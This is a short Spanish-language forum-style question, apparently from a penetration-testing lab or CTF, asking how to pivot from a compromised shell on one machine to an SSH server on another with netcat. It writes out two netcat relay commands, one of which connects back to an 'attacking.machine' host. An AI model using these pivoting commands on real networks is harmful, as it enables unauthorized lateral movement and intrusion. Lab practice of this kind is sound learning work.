Así que tengo un shell en la máquina A que no tiene ssh instalado y no puedo obtener un shell tty (he probado todas las hojas de trucos tty, creo que esto es intencional)
A través de la máquina A puedo ver la máquina B que tiene un servidor ssh ejecutándose en el puerto 2222.
Lo que me gustaría hacer es averiguar cómo usar netcat para conectarse a ssh manualmente o usar netcat para pasar de mi máquina atacante a la máquina A a la máquina B.
Primero probé nc -lvp 444 -c 'nc machine.b 2222'
pero no puedo enlazar a la Máquina A, supongo que las reglas de firewall.
A continuación, intenté reenviar la conexión a mi máquina atacante nc attacking.machine 444 -c 'nc machine.b 2222'
, que funciona, pero me di cuenta de que una vez que se reenvía a mi máquina atacante, no puedo acceder al puerto para conectarme con ssh.
Este es el diseño de la red ... creo